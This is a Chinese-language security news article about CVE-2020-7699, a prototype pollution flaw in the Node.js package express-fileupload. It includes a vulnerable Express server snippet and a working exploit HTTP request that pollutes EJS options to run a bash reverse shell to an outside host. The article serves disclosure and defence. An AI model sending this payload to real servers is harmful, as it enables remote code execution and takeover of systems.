下載超過 730 萬次的 Node.js 模塊存在 DoS 攻擊和代碼注入漏洞
專家在流行的NodeJS模塊中發現了一個漏洞,該漏洞可以使攻擊者對服務器執行拒絕服務(DoS)攻擊或注入任意代碼。
該漏洞 CVE 編號為CVE-2020-7699,位于 express-fileupload npm 組件中。NodeJS模塊受“Prototype Pollution(原型污染)” CVE-2020-7699漏洞的影響,該漏洞可能允許攻擊者在服務器上執行拒絕服務(DoS)攻擊或注入任意代碼。
NodeJS模塊“express-fileupload” 從npm存儲庫下載的內容超過730萬次。
讀取NIST的內容:“這會影響1.1.8之前的包express-fileupload。如果啟用了parseNested選項,則發送損壞的HTTP請求可能導致拒絕服務或任意代碼執行。”
不幸的是,實際安裝數量可能會更多,因為開發人員可以從其他存儲庫(包括GitHub和鏡像網站)下載模塊。
原型用于定義JavaScript對象的缺省結構和默認值,當未設置任何值時,它們對于指定期望的結構至關重要。能夠修改JavaScript對象原型的攻擊者如果沒有收到預期值,可能會使應用程序崩潰并更改行為。
由于JavaScript的傳播,利用原型污染缺陷可能會對Web應用程序造成嚴重后果。
原型攻擊包括將不兼容類型的對象注入現有對象中,以觸發可能導致拒絕服務(DoS)條件或任意代碼執行(包括建立遠程外殼)的錯誤。
據發現該漏洞的安全研究員Posix稱,該問題利用了express-fileupload實現的“ parseNested”功能。
express-fileupload模塊實現了幾個用于在nodejs應用程序中上傳和管理文件的選項。選項之一是parseNested,它使參數扁平化為嵌套對象。
閱讀 Posix發布的帖子可知:
因此,如果我們提供
{"a.b.c": true}作為輸入,在內部它將被用作{"a": {"b": {"c": true}}}
下面是“parseNested”選項的代碼:
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload({parseNested:true}));
app.get('/',(req,res)=> {
res.end('express-fileupload poc');
});
app.listen(7777)
在“ Content-Disposition” HTTP標頭中提供有效負載后,攻擊者可以提供“ __proto __.toString”值來觸發攻擊。
“因此,使用上述表單中的
express-fileupload
配置和運行express服務器。帖子繼續寫道。

“ __proto __ ” 賦值函數可用于修改所有JS對象和結構所繼承的JavaScript的“Prototype”屬性。
這意味著上述HTTP請求將覆蓋并破壞用戶代碼中存在的每個對象的內置“toString”方法 。
“如果Object.prototype.toString可以被污染,則將導致錯誤,并且對于每個請求,express [sic]始終返回500錯誤,”研究人員繼續說道。
研究人員還解釋說,攻擊者可以利用相同的漏洞在易受攻擊的系統上獲得一個shell。對于這種攻擊形式,有必要使應用程序使用的易受攻擊的“express-fileupload”版本也使用模板引擎EJS(嵌入式JavaScript模板)。
“在Express應用程序中通過原型解決方案獲取shell的最簡單方法是使用ejs。是的,應用程序是否應使用ejs模板引擎存在局限性。”專家繼續說。
攻擊者可以通過發送覆蓋EJS的“ outputFunctionName”選項的HTTP請求來觸發問題。
下面的有效負載利用了express-fileupload中的原型污染,并指示EJS(應在使用中)執行NodeJS “ child_process”。此過程可用于獲取攻擊者計算機的反向shell。
POST / HTTP/1.1
Content-Type: multipart/form-data; boundary=--------1566035451
Content-Length: 221
----------1566035451
Content-Disposition: form-data; name="__proto__.outputFunctionName";
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/p6.is/8888 0>&1"');x
----------1566035451--
好消息是,在收到研究人員的報告后,“express-fileupload”立即修復了該漏洞。建議用戶從npm存儲庫中獲取最新的1.1.9版本。